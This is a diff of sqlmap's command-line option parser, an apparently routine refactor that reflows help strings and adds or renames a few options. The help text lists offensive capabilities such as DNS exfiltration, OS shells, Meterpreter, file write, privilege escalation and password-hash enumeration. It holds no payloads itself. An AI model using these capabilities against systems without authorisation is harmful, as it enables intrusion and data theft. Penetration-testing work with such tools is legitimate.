                            help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")")
 
         request.add_option("--auth-type", dest="authType",
-                           help="HTTP authentication type "
-                                "(Basic, Digest, NTLM or PKI)")
+                           help="HTTP authentication type (Basic, Digest, NTLM or PKI)")
 
         request.add_option("--auth-cred", dest="authCred",
-                           help="HTTP authentication credentials "
-                                "(name:password)")
+                           help="HTTP authentication credentials (name:password)")
 
         request.add_option("--auth-file", dest="authFile",
                            help="HTTP authentication PEM cert/private key file")
 
         request.add_option("--ignore-code", dest="ignoreCode", type="int",
-                          help="Ignore HTTP error code (e.g. 401)")
+                           help="Ignore (problematic) HTTP error code (e.g. 401)")
 
         request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true",
                            help="Ignore system default proxy settings")
 
         request.add_option("--ignore-redirects", dest="ignoreRedirects", action="store_true",
-                          help="Ignore redirection attempts")
+                           help="Ignore redirection attempts")
 
         request.add_option("--ignore-timeouts", dest="ignoreTimeouts", action="store_true",
-                          help="Ignore connection timeouts")
+                           help="Ignore connection timeouts")
 
         request.add_option("--proxy", dest="proxy",
                            help="Use a proxy to connect to the target URL")
 
         request.add_option("--proxy-cred", dest="proxyCred",
-                           help="Proxy authentication credentials "
-                                "(name:password)")
+                           help="Proxy authentication credentials (name:password)")
 
         request.add_option("--proxy-file", dest="proxyFile",
                            help="Load proxy list from a file")
 
-        request.add_option("--tor", dest="tor",
-                                  action="store_true",
-                                  help="Use Tor anonymity network")
+        request.add_option("--tor", dest="tor", action="store_true",
+                           help="Use Tor anonymity network")
 
         request.add_option("--tor-port", dest="torPort",
-                                  help="Set Tor proxy port other than default")
+                           help="Set Tor proxy port other than default")
 
         request.add_option("--tor-type", dest="torType",
-                                  help="Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))")
+                           help="Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))")
 
-        request.add_option("--check-tor", dest="checkTor",
-                                  action="store_true",
-                                  help="Check to see if Tor is used properly")
+        request.add_option("--check-tor", dest="checkTor", action="store_true",
+                           help="Check to see if Tor is used properly")
 
         request.add_option("--delay", dest="delay", type="float",
                            help="Delay in seconds between each HTTP request")
 
         request.add_option("--timeout", dest="timeout", type="float",
-                           help="Seconds to wait before timeout connection "
-                                "(default %d)" % defaults.timeout)
+                           help="Seconds to wait before timeout connection (default %d)" % defaults.timeout)
 
         request.add_option("--retries", dest="retries", type="int",
-                           help="Retries when the connection timeouts "
-                                "(default %d)" % defaults.retries)
+                           help="Retries when the connection timeouts (default %d)" % defaults.retries)
 
         request.add_option("--randomize", dest="rParam",
                            help="Randomly change value for given parameter(s)")
@@ -211,54 +200,45 @@ def cmdLineParser(argv=None):
         request.add_option("--safe-freq", dest="safeFreq", type="int",
                            help="Test requests between two visits to a given safe URL")
 
-        request.add_option("--skip-urlencode", dest="skipUrlEncode",
-                           action="store_true",
+        request.add_option("--skip-urlencode", dest="skipUrlEncode", action="store_true",
                            help="Skip URL encoding of payload data")
 
         request.add_option("--csrf-token", dest="csrfToken",
                            help="Parameter used to hold anti-CSRF token")
 
         request.add_option("--csrf-url", dest="csrfUrl",
-                           help="URL address to visit to extract anti-CSRF token")
+                           help="URL address to visit for extraction of anti-CSRF token")
 
-        request.add_option("--force-ssl", dest="forceSSL",
-                           action="store_true",
+        request.add_option("--force-ssl", dest="forceSSL", action="store_true",
                            help="Force usage of SSL/HTTPS")
 
-        request.add_option("--hpp", dest="hpp",
-                                  action="store_true",
-                                  help="Use HTTP parameter pollution method")
+        request.add_option("--hpp", dest="hpp", action="store_true",
+                           help="Use HTTP parameter pollution method")
 
         request.add_option("--eval", dest="evalCode",
                            help="Evaluate provided Python code before the request (e.g. \"import hashlib;id2=hashlib.md5(id).hexdigest()\")")
 
         # Optimization options
-        optimization = OptionGroup(parser, "Optimization", "These "
-                               "options can be used to optimize the "
-                               "performance of sqlmap")
+        optimization = OptionGroup(parser, "Optimization", "These options can be used to optimize the performance of sqlmap")
 
-        optimization.add_option("-o", dest="optimize",
-                                 action="store_true",
-                                 help="Turn on all optimization switches")
+        optimization.add_option("-o", dest="optimize", action="store_true",
+                                help="Turn on all optimization switches")
 
         optimization.add_option("--predict-output", dest="predictOutput", action="store_true",
-                          help="Predict common queries output")
+                                help="Predict common queries output")
 
         optimization.add_option("--keep-alive", dest="keepAlive", action="store_true",
-                           help="Use persistent HTTP(s) connections")
+                                help="Use persistent HTTP(s) connections")
 
         optimization.add_option("--null-connection", dest="nullConnection", action="store_true",
-                          help="Retrieve page length without actual HTTP response body")
+                                help="Retrieve page length without actual HTTP response body")
 
         optimization.add_option("--threads", dest="threads", type="int",
-                           help="Max number of concurrent HTTP(s) "
+                                help="Max number of concurrent HTTP(s) "
                                 "requests (default %d)" % defaults.threads)
 
         # Injection options
-        injection = OptionGroup(parser, "Injection", "These options can be "
-                                "used to specify which parameters to test "
-                                "for, provide custom injection payloads and "
-                                "optional tampering scripts")
+        injection = OptionGroup(parser, "Injection", "These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts")
 
         injection.add_option("-p", dest="testParameter",
                              help="Testable parameter(s)")
@@ -270,36 +250,30 @@ def cmdLineParser(argv=None):
                              help="Skip testing parameters that not appear to be dynamic")
 
         injection.add_option("--param-exclude", dest="paramExclude",
-                           help="Regexp to exclude parameters from testing (e.g. \"ses\")")
+                             help="Regexp to exclude parameters from testing (e.g. \"ses\")")
 
         injection.add_option("--dbms", dest="dbms",
-                             help="Force back-end DBMS to this value")
+                             help="Force back-end DBMS to provided value")
 
         injection.add_option("--dbms-cred", dest="dbmsCred",
-                            help="DBMS authentication credentials (user:password)")
+                             help="DBMS authentication credentials (user:password)")
 
         injection.add_option("--os", dest="os",
-                             help="Force back-end DBMS operating system "
-                                  "to this value")
+                             help="Force back-end DBMS operating system to provided value")
 
-        injection.add_option("--invalid-bignum", dest="invalidBignum",
-                             action="store_true",
+        injection.add_option("--invalid-bignum", dest="invalidBignum", action="store_true",
                              help="Use big numbers for invalidating values")
 
-        injection.add_option("--invalid-logical", dest="invalidLogical",
-                             action="store_true",
+        injection.add_option("--invalid-logical", dest="invalidLogical", action="store_true",
                              help="Use logical operations for invalidating values")
 
-        injection.add_option("--invalid-string", dest="invalidString",
-                             action="store_true",
+        injection.add_option("--invalid-string", dest="invalidString", action="store_true",
                              help="Use random strings for invalidating values")
 
-        injection.add_option("--no-cast", dest="noCast",
-                             action="store_true",
+        injection.add_option("--no-cast", dest="noCast", action="store_true",
                              help="Turn off payload casting mechanism")
 
-        injection.add_option("--no-escape", dest="noEscape",
-                             action="store_true",
+        injection.add_option("--no-escape", dest="noEscape", action="store_true",
                              help="Turn off string escaping mechanism")
 
         injection.add_option("--prefix", dest="prefix",
@@ -312,54 +286,40 @@ def cmdLineParser(argv=None):
                              help="Use given script(s) for tampering injection data")
 
         # Detection options
-        detection = OptionGroup(parser, "Detection", "These options can be "
-                                "used to customize the detection phase")
+        detection = OptionGroup(parser, "Detection", "These options can be used to customize the detection phase")
 
         detection.add_option("--level", dest="level", type="int",
-                             help="Level of tests to perform (1-5, "
-                                  "default %d)" % defaults.level)
+                             help="Level of tests to perform (1-5, default %d)" % defaults.level)
 
         detection.add_option("--risk", dest="risk", type="int",
-                             help="Risk of tests to perform (1-3, "
-                                  "default %d)" % defaults.risk)
+                             help="Risk of tests to perform (1-3, default %d)" % defaults.risk)
 
         detection.add_option("--string", dest="string",
-                             help="String to match when "
-                                  "query is evaluated to True")
+                             help="String to match when query is evaluated to True")
 
         detection.add_option("--not-string", dest="notString",
-                             help="String to match when "
-                                  "query is evaluated to False")
+                             help="String to match when query is evaluated to False")
 
         detection.add_option("--regexp", dest="regexp",
-                             help="Regexp to match when "
-                                  "query is evaluated to True")
+                             help="Regexp to match when query is evaluated to True")
 
         detection.add_option("--code", dest="code", type="int",
-                             help="HTTP code to match when "
-                                  "query is evaluated to True")
+                             help="HTTP code to match when query is evaluated to True")
 
-        detection.add_option("--text-only", dest="textOnly",
-                             action="store_true",
+        detection.add_option("--text-only", dest="textOnly", action="store_true",
                              help="Compare pages based only on the textual content")
 
-        detection.add_option("--titles", dest="titles",
-                             action="store_true",
+        detection.add_option("--titles", dest="titles", action="store_true",
                              help="Compare pages based only on their titles")
 
         # Techniques options
-        techniques = OptionGroup(parser, "Techniques", "These options can be "
-                                 "used to tweak testing of specific SQL "
-                                 "injection techniques")
+        techniques = OptionGroup(parser, "Techniques", "These options can be used to tweak testing of specific SQL injection techniques")
 
         techniques.add_option("--technique", dest="tech",
-                              help="SQL injection techniques to use "
-                                   "(default \"%s\")" % defaults.tech)
+                              help="SQL injection techniques to use (default \"%s\")" % defaults.tech)
 
-        techniques.add_option("--time-sec", dest="timeSec",
-                              type="int",
-                              help="Seconds to delay the DBMS response "
-                                   "(default %d)" % defaults.timeSec)
+        techniques.add_option("--time-sec", dest="timeSec", type="int",
+                              help="Seconds to delay the DBMS response (default %d)" % defaults.timeSec)
 
         techniques.add_option("--union-cols", dest="uCols",
                               help="Range of columns to test for UNION query SQL injection")
@@ -373,59 +333,49 @@ def cmdLineParser(argv=None):
         techniques.add_option("--dns-domain", dest="dnsDomain",
                               help="Domain name used for DNS exfiltration attack")
 
-        techniques.add_option("--second-order", dest="secondOrder",
-                             help="Resulting page URL searched for second-order "
-                                  "response")
+        techniques.add_option("--second-url", dest="secondUrl",
+                              help="Resulting page URL searched for second-order response")
+
+        techniques.add_option("--second-req", dest="secondReq",
+                              help="Load second-order HTTP request from file")
 
         # Fingerprint options
         fingerprint = OptionGroup(parser, "Fingerprint")
 
-        fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp",
-                               action="store_true",
+        fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp", action="store_true",
                                help="Perform an extensive DBMS version fingerprint")
 
         # Enumeration options
-        enumeration = OptionGroup(parser, "Enumeration", "These options can "
-                                  "be used to enumerate the back-end database "
-                                  "management system information, structure "
-                                  "and data contained in the tables. Moreover "
-                                  "you can run your own SQL statements")
+        enumeration = OptionGroup(parser, "Enumeration", "These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements")
 
-        enumeration.add_option("-a", "--all", dest="getAll",
-                               action="store_true", help="Retrieve everything")
+        enumeration.add_option("-a", "--all", dest="getAll", action="store_true",
+                               help="Retrieve everything")
 
-        enumeration.add_option("-b", "--banner", dest="getBanner",
-                               action="store_true", help="Retrieve DBMS banner")
+        enumeration.add_option("-b", "--banner", dest="getBanner", action="store_true",
+                               help="Retrieve DBMS banner")
 
-        enumeration.add_option("--current-user", dest="getCurrentUser",
-                               action="store_true",
+        enumeration.add_option("--current-user", dest="getCurrentUser", action="store_true",
                                help="Retrieve DBMS current user")
 
-        enumeration.add_option("--current-db", dest="getCurrentDb",
-                               action="store_true",
+        enumeration.add_option("--current-db", dest="getCurrentDb", action="store_true",
                                help="Retrieve DBMS current database")
 
-        enumeration.add_option("--hostname", dest="getHostname",
-                               action="store_true",
+        enumeration.add_option("--hostname", dest="getHostname", action="store_true",
                                help="Retrieve DBMS server hostname")
 
-        enumeration.add_option("--is-dba", dest="isDba",
-                               action="store_true",
+        enumeration.add_option("--is-dba", dest="isDba", action="store_true",
                                help="Detect if the DBMS current user is DBA")
 
         enumeration.add_option("--users", dest="getUsers", action="store_true",
                                help="Enumerate DBMS users")
 
-        enumeration.add_option("--passwords", dest="getPasswordHashes",
-                               action="store_true",
+        enumeration.add_option("--passwords", dest="getPasswordHashes", action="store_true",
                                help="Enumerate DBMS users password hashes")
 
-        enumeration.add_option("--privileges", dest="getPrivileges",
-                               action="store_true",
+        enumeration.add_option("--privileges", dest="getPrivileges", action="store_true",
                                help="Enumerate DBMS users privileges")
 
-        enumeration.add_option("--roles", dest="getRoles",
-                               action="store_true",
+        enumeration.add_option("--roles", dest="getRoles", action="store_true",
                                help="Enumerate DBMS users roles")
 
         enumeration.add_option("--dbs", dest="getDbs", action="store_true",
@@ -453,7 +403,7 @@ def cmdLineParser(argv=None):
                                help="Search column(s), table(s) and/or database name(s)")
 
         enumeration.add_option("--comments", dest="getComments", action="store_true",
-                               help="Retrieve DBMS comments")
+                               help="Check for DBMS comments during enumeration")
 
         enumeration.add_option("-D", dest="db",
                                help="DBMS database to enumerate")
@@ -464,16 +414,14 @@ def cmdLineParser(argv=None):
         enumeration.add_option("-C", dest="col",
                                help="DBMS database table column(s) to enumerate")
 
-        enumeration.add_option("-X", dest="excludeCol",
-                               help="DBMS database table column(s) to not enumerate")
+        enumeration.add_option("-X", dest="exclude",
+                               help="DBMS database identifier(s) to not enumerate")
 
         enumeration.add_option("-U", dest="user",
                                help="DBMS user to enumerate")
 
-        enumeration.add_option("--exclude-sysdbs", dest="excludeSysDbs",
-                               action="store_true",
-                               help="Exclude DBMS system databases when "
-                                    "enumerating tables")
+        enumeration.add_option("--exclude-sysdbs", dest="excludeSysDbs", action="store_true",
+                               help="Exclude DBMS system databases when enumerating tables")
 
         enumeration.add_option("--pivot-column", dest="pivotColumn",
                                help="Pivot column name")
@@ -496,28 +444,23 @@ def cmdLineParser(argv=None):
         enumeration.add_option("--sql-query", dest="query",
                                help="SQL statement to be executed")
 
-        enumeration.add_option("--sql-shell", dest="sqlShell",
-                               action="store_true",
+        enumeration.add_option("--sql-shell", dest="sqlShell", action="store_true",
                                help="Prompt for an interactive SQL shell")
 
         enumeration.add_option("--sql-file", dest="sqlFile",
                                help="Execute SQL statements from given file(s)")
 
         # Brute force options
-        brute = OptionGroup(parser, "Brute force", "These "
-                          "options can be used to run brute force "
-                          "checks")
+        brute = OptionGroup(parser, "Brute force", "These options can be used to run brute force checks")
 
         brute.add_option("--common-tables", dest="commonTables", action="store_true",
-                               help="Check existence of common tables")
+                         help="Check existence of common tables")
 
         brute.add_option("--common-columns", dest="commonColumns", action="store_true",
-                               help="Check existence of common columns")
+                         help="Check existence of common columns")
 
         # User-defined function options
-        udf = OptionGroup(parser, "User-defined function injection", "These "
-                          "options can be used to create custom user-defined "
-                          "functions")
+        udf = OptionGroup(parser, "User-defined function injection", "These options can be used to create custom user-defined functions")
 
         udf.add_option("--udf-inject", dest="udfInject", action="store_true",
                        help="Inject custom user-defined functions")
@@ -526,167 +469,131 @@ def cmdLineParser(argv=None):
                        help="Local path of the shared library")
 
         # File system options
-        filesystem = OptionGroup(parser, "File system access", "These options "
-                                 "can be used to access the back-end database "
-                                 "management system underlying file system")
+        filesystem = OptionGroup(parser, "File system access", "These options can be used to access the back-end database management system underlying file system")
 
-        filesystem.add_option("--file-read", dest="rFile",
-                              help="Read a file from the back-end DBMS "
-                                   "file system")
+        filesystem.add_option("--file-read", dest="fileRead",
+                              help="Read a file from the back-end DBMS file system")
 
-        filesystem.add_option("--file-write", dest="wFile",
-                              help="Write a local file on the back-end "
-                                   "DBMS file system")
+        filesystem.add_option("--file-write", dest="fileWrite",
+                              help="Write a local file on the back-end DBMS file system")
 
-        filesystem.add_option("--file-dest", dest="dFile",
-                              help="Back-end DBMS absolute filepath to "
-                                   "write to")
+        filesystem.add_option("--file-dest", dest="fileDest",
+                              help="Back-end DBMS absolute filepath to write to")
 
         # Takeover options
-        takeover = OptionGroup(parser, "Operating system access", "These "
-                               "options can be used to access the back-end "
-                               "database management system underlying "
-                               "operating system")
+        takeover = OptionGroup(parser, "Operating system access", "These options can be used to access the back-end database management system underlying operating system")
 
         takeover.add_option("--os-cmd", dest="osCmd",
                             help="Execute an operating system command")
 
-        takeover.add_option("--os-shell", dest="osShell",
-                            action="store_true",
-                            help="Prompt for an interactive operating "
-                                 "system shell")
+        takeover.add_option("--os-shell", dest="osShell", action="store_true",
+                            help="Prompt for an interactive operating system shell")
 
-        takeover.add_option("--os-pwn", dest="osPwn",
-                            action="store_true",
-                            help="Prompt for an OOB shell, "
-                                 "Meterpreter or VNC")
+        takeover.add_option("--os-pwn", dest="osPwn", action="store_true",
+                            help="Prompt for an OOB shell, Meterpreter or VNC")
 
-        takeover.add_option("--os-smbrelay", dest="osSmb",
-                            action="store_true",
-                            help="One click prompt for an OOB shell, "
-                                 "Meterpreter or VNC")
+        takeover.add_option("--os-smbrelay", dest="osSmb", action="store_true",
+                            help="One click prompt for an OOB shell, Meterpreter or VNC")
 
-        takeover.add_option("--os-bof", dest="osBof",
-                            action="store_true",
+        takeover.add_option("--os-bof", dest="osBof", action="store_true",
                             help="Stored procedure buffer overflow "
                                  "exploitation")
 
-        takeover.add_option("--priv-esc", dest="privEsc",
-                            action="store_true",
+        takeover.add_option("--priv-esc", dest="privEsc", action="store_true",
                             help="Database process user privilege escalation")
 
         takeover.add_option("--msf-path", dest="msfPath",
-                            help="Local path where Metasploit Framework "
-                                 "is installed")
+                            help="Local path where Metasploit Framework is installed")
 
         takeover.add_option("--tmp-path", dest="tmpPath",
-                            help="Remote absolute path of temporary files "
-                                 "directory")
+                            help="Remote absolute path of temporary files directory")
 
         # Windows registry options
-        windows = OptionGroup(parser, "Windows registry access", "These "
-                               "options can be used to access the back-end "
-                               "database management system Windows "
-                               "registry")
+        windows = OptionGroup(parser, "Windows registry access", "These options can be used to access the back-end database management system Windows registry")
 
-        windows.add_option("--reg-read", dest="regRead",
-                            action="store_true",
-                            help="Read a Windows registry key value")
+        windows.add_option("--reg-read", dest="regRead", action="store_true",
+                           help="Read a Windows registry key value")
 
-        windows.add_option("--reg-add", dest="regAdd",
-                            action="store_true",
-                            help="Write a Windows registry key value data")
+        windows.add_option("--reg-add", dest="regAdd", action="store_true",
+                           help="Write a Windows registry key value data")
 
-        windows.add_option("--reg-del", dest="regDel",
-                            action="store_true",
-                            help="Delete a Windows registry key value")
+        windows.add_option("--reg-del", dest="regDel", action="store_true",
+                           help="Delete a Windows registry key value")
 
         windows.add_option("--reg-key", dest="regKey",
-                            help="Windows registry key")
+                           help="Windows registry key")
 
         windows.add_option("--reg-value", dest="regVal",
-                            help="Windows registry key value")
+                           help="Windows registry key value")
 
         windows.add_option("--reg-data", dest="regData",
-                            help="Windows registry key value data")
+                           help="Windows registry key value data")
 
         windows.add_option("--reg-type", dest="regType",
-                            help="Windows registry key value type")
+                           help="Windows registry key value type")
 
         # General options
-        general = OptionGroup(parser, "General", "These options can be used "
-                             "to set some general working parameters")
+        general = OptionGroup(parser, "General", "These options can be used to set some general working parameters")
 
         general.add_option("-s", dest="sessionFile",
-                            help="Load session from a stored (.sqlite) file")
+                           help="Load session from a stored (.sqlite) file")
 
         general.add_option("-t", dest="trafficFile",
-                            help="Log all HTTP traffic into a "
-                            "textual file")
+                           help="Log all HTTP traffic into a textual file")
 
-        general.add_option("--batch", dest="batch",
-                            action="store_true",
-                            help="Never ask for user input, use the default behavior")
+        general.add_option("--batch", dest="batch", action="store_true",
+                           help="Never ask for user input, use the default behavior")
 
         general.add_option("--binary-fields", dest="binaryFields",
-                          help="Result fields having binary values (e.g. \"digest\")")
+                           help="Result fields having binary values (e.g. \"digest\")")
 
-        general.add_option("--check-internet", dest="checkInternet",
-                            action="store_true",
-                            help="Check Internet connection before assessing the target")
+        general.add_option("--check-internet", dest="checkInternet", action="store_true",
+                           help="Check Internet connection before assessing the target")
 
         general.add_option("--crawl", dest="crawlDepth", type="int",
-                            help="Crawl the website starting from the target URL")
+                           help="Crawl the website starting from the target URL")
 
         general.add_option("--crawl-exclude", dest="crawlExclude",
                            help="Regexp to exclude pages from crawling (e.g. \"logout\")")
 
         general.add_option("--csv-del", dest="csvDel",
-                                  help="Delimiting character used in CSV output "
-                                  "(default \"%s\")" % defaults.csvDel)
+                           help="Delimiting character used in CSV output (default \"%s\")" % defaults.csvDel)
 
         general.add_option("--charset", dest="charset",
                            help="Blind SQL injection charset (e.g. \"0123456789abcdef\")")
 
         general.add_option("--dump-format", dest="dumpFormat",
-                                  help="Format of dumped data (CSV (default), HTML or SQLITE)")
+                           help="Format of dumped data (CSV (default), HTML or SQLITE)")
 
         general.add_option("--encoding", dest="encoding",
-                            help="Character encoding used for data retrieval (e.g. GBK)")
+                           help="Character encoding used for data retrieval (e.g. GBK)")
 
-        general.add_option("--eta", dest="eta",
-                            action="store_true",
-                            help="Display for each output the estimated time of arrival")
+        general.add_option("--eta", dest="eta", action="store_true",
+                           help="Display for each output the estimated time of arrival")
 
-        general.add_option("--flush-session", dest="flushSession",
-                            action="store_true",
-                            help="Flush session files for current target")
+        general.add_option("--flush-session", dest="flushSession", action="store_true",
+                           help="Flush session files for current target")
 
-        general.add_option("--forms", dest="forms",
-                                  action="store_true",
-                                  help="Parse and test forms on target URL")
+        general.add_option("--forms", dest="forms", action="store_true",
+                           help="Parse and test forms on target URL")
 
-        general.add_option("--fresh-queries", dest="freshQueries",
-                            action="store_true",
-                            help="Ignore query results stored in session file")
+        general.add_option("--fresh-queries", dest="freshQueries", action="store_true",
+                           help="Ignore query results stored in session file")
 
         general.add_option("--har", dest="harFile",
                            help="Log all HTTP traffic into a HAR file")
 
-        general.add_option("--hex", dest="hexConvert",
-                            action="store_true",
-                            help="Use DBMS hex function(s) for data retrieval")
+        general.add_option("--hex", dest="hexConvert", action="store_true",
+                           help="Use hex conversion during data retrieval")
 
-        general.add_option("--output-dir", dest="outputDir",
-                            action="store",
-                            help="Custom output directory path")
+        general.add_option("--output-dir", dest="outputDir", action="store",
+                           help="Custom output directory path")
 
-        general.add_option("--parse-errors", dest="parseErrors",
-                                  action="store_true",
-                                  help="Parse and display DBMS error messages from responses")
+        general.add_option("--parse-errors", dest="parseErrors", action="store_true",
+                           help="Parse and display DBMS error messages from responses")
 
         general.add_option("--save", dest="saveConfig",
-                            help="Save options to a configuration INI file")
+                           help="Save options to a configuration INI file")
 
         general.add_option("--scope", dest="scope",
                            help="Regexp to filter targets from provided proxy log")
@@ -697,77 +604,68 @@ def cmdLineParser(argv=None):
         general.add_option("--test-skip", dest="testSkip",
                            help="Skip tests by payloads and/or titles (e.g. BENCHMARK)")
 
-        general.add_option("--update", dest="updateAll",
-                            action="store_true",
-                            help="Update sqlmap")
+        general.add_option("--update", dest="updateAll", action="store_true",
+                           help="Update sqlmap")
 
         # Miscellaneous options
         miscellaneous = OptionGroup(parser, "Miscellaneous")
 
         miscellaneous.add_option("-z", dest="mnemonics",
-                               help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")")
+                                 help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")")
 
         miscellaneous.add_option("--alert", dest="alert",
-                                  help="Run host OS command(s) when SQL injection is found")
+                                 help="Run host OS command(s) when SQL injection is found")
 
         miscellaneous.add_option("--answers", dest="answers",
-                                  help="Set question answers (e.g. \"quit=N,follow=N\")")
+                                 help="Set predefined answers (e.g. \"quit=N,follow=N\")")
 
         miscellaneous.add_option("--beep", dest="beep", action="store_true",
-                                  help="Beep on question and/or when SQL injection is found")
+                                 help="Beep on question and/or when SQL injection is found")
 
-        miscellaneous.add_option("--cleanup", dest="cleanup",
-                                  action="store_true",
-                                  help="Clean up the DBMS from sqlmap specific "
-                                  "UDF and tables")
+        miscellaneous.add_option("--cleanup", dest="cleanup", action="store_true",
+                                 help="Clean up the DBMS from sqlmap specific UDF and tables")
 
-        miscellaneous.add_option("--dependencies", dest="dependencies",
-                                  action="store_true",
-                                  help="Check for missing (non-core) sqlmap dependencies")
+        miscellaneous.add_option("--dependencies", dest="dependencies", action="store_true",
+                                 help="Check for missing (optional) sqlmap dependencies")
 
-        miscellaneous.add_option("--disable-coloring", dest="disableColoring",
-                                  action="store_true",
-                                  help="Disable console output coloring")
+        miscellaneous.add_option("--disable-coloring", dest="disableColoring", action="store_true",
+                                 help="Disable console output coloring")
 
         miscellaneous.add_option("--gpage", dest="googlePage", type="int",
-                                  help="Use Google dork results from specified page number")
+                                 help="Use Google dork results from specified page number")
 
-        miscellaneous.add_option("--identify-waf", dest="identifyWaf",
-                                  action="store_true",
-                                  help="Make a thorough testing for a WAF/IPS/IDS protection")
+        miscellaneous.add_option("--identify-waf", dest="identifyWaf", action="store_true",
+                                 help="Make a thorough testing for a WAF/IPS protection")
 
-        miscellaneous.add_option("--mobile", dest="mobile",
-                                  action="store_true",
-                                  help="Imitate smartphone through HTTP User-Agent header")
+        miscellaneous.add_option("--list-tampers", dest="listTampers", action="store_true",
+                                 help="Display list of available tamper scripts")
 
-        miscellaneous.add_option("--offline", dest="offline",
-                                  action="store_true",
-                                  help="Work in offline mode (only use session data)")
+        miscellaneous.add_option("--mobile", dest="mobile", action="store_true",
+                                 help="Imitate smartphone through HTTP User-Agent header")
 
-        miscellaneous.add_option("--purge-output", dest="purgeOutput",
-                                  action="store_true",
-                                  help="Safely remove all content from output directory")
+        miscellaneous.add_option("--offline", dest="offline", action="store_true",
+                                 help="Work in offline mode (only use session data)")
 
-        miscellaneous.add_option("--skip-waf", dest="skipWaf",
-                                  action="store_true",
-                                  help="Skip heuristic detection of WAF/IPS/IDS protection")
+        miscellaneous.add_option("--purge", dest="purge", action="store_true",
+                                 help="Safely remove all content from sqlmap data directory")
 
-        miscellaneous.add_option("--smart", dest="smart",
-                                  action="store_true",
-                                  help="Conduct thorough tests only if positive heuristic(s)")
+        miscellaneous.add_option("--skip-waf", dest="skipWaf", action="store_true",
+                                 help="Skip heuristic detection of WAF/IPS protection")
+
+        miscellaneous.add_option("--smart", dest="smart", action="store_true",
+                                 help="Conduct thorough tests only if positive heuristic(s)")
 
         miscellaneous.add_option("--sqlmap-shell", dest="sqlmapShell", action="store_true",
-                                  help="Prompt for an interactive sqlmap shell")
+                                 help="Prompt for an interactive sqlmap shell")
 
         miscellaneous.add_option("--tmp-dir", dest="tmpDir",
-                                  help="Local directory for storing temporary files")
+                                 help="Local directory for storing temporary files")
 
         miscellaneous.add_option("--web-root", dest="webRoot",
-                                  help="Web server document root directory (e.g. \"/var/www\")")
+                                 help="Web server document root directory (e.g. \"/var/www\")")
 
-        miscellaneous.add_option("--wizard", dest="wizard",
-                                  action="store_true",
-                                  help="Simple wizard interface for beginner users")
+        miscellaneous.add_option("--wizard", dest="wizard", action="store_true",
+                                 help="Simple wizard interface for beginner users")
 
         # Hidden and/or experimental options
         parser.add_option("--dummy", dest="dummy", action="store_true",
@@ -791,6 +689,9 @@ def cmdLineParser(argv=None):
         parser.add_option("--force-dns", dest="forceDns", action="store_true",
                           help=SUPPRESS_HELP)
 
+        parser.add_option("--force-pivoting", dest="forcePivoting", action="store_true",
+                          help=SUPPRESS_HELP)
+
         parser.add_option("--force-threads", dest="forceThreads", action="store_true",
                           help=SUPPRESS_HELP)
 
@@ -852,6 +753,7 @@ def cmdLineParser(argv=None):
         prompt = False
         advancedHelp = True
         extraHeaders = []
+        tamperIndex = None
 
         # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING")
         for arg in argv:
@@ -909,7 +811,7 @@ def cmdLineParser(argv=None):
                 for arg in shlex.split(command):
                     argv.append(getUnicode(arg, encoding=sys.stdin.encoding))
             except ValueError, ex:
-                raise SqlmapSyntaxException, "something went wrong during command line parsing ('%s')" % ex.message
+                raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % ex.message)
 
         for i in xrange(len(argv)):
             if argv[i] == "-hh":
@@ -923,6 +825,12 @@ def cmdLineParser(argv=None):
             elif re.search(r"\A-\w=.+", argv[i]):
                 dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i])
                 raise SystemExit
+            elif argv[i].startswith("--tamper"):
+                if tamperIndex is None:
+                    tamperIndex = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None)
+                else:
+                    argv[tamperIndex] = "%s,%s" % (argv[tamperIndex], argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else ""))
+                    argv[i] = ""
             elif argv[i] == "-H":
                 if i + 1 < len(argv):
                     extraHeaders.append(argv[i + 1])
@@ -976,11 +884,9 @@ def cmdLineParser(argv=None):
         if args.dummy:
             args.url = args.url or DUMMY_URL
 
-        if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, \
-            args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, \
-            args.purgeOutput, args.sitemapUrl)):
-            errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output or --dependencies), "
-            errMsg += "use -h for basic or -hh for advanced help\n"
+        if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, args.purge, args.sitemapUrl, args.listTampers)):
+            errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --list-tampers, --wizard, --update, --purge or --dependencies). "
+            errMsg += "Use -h for basic and -hh for advanced help\n"
             parser.error(errMsg)
 
         return args

lib/parse/headers.py

@@ -13,7 +13,6 @@ from lib.core.data import kb
 from lib.core.data import paths
 from lib.parse.handler import FingerprintHandler
 
-
 def headersParser(headers):
     """
     This function calls a class that parses the input HTTP headers to
@@ -24,18 +23,16 @@ def headersParser(headers):
     if not kb.headerPaths:
         kb.headerPaths = {
             "microsoftsharepointteamservices": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "sharepoint.xml"),
-            "server":                          os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"),
-            "servlet-engine":                  os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet-engine.xml"),
-            "set-cookie":                      os.path.join(paths.SQLMAP_XML_BANNER_PATH, "set-cookie.xml"),
-            "x-aspnet-version":                os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"),
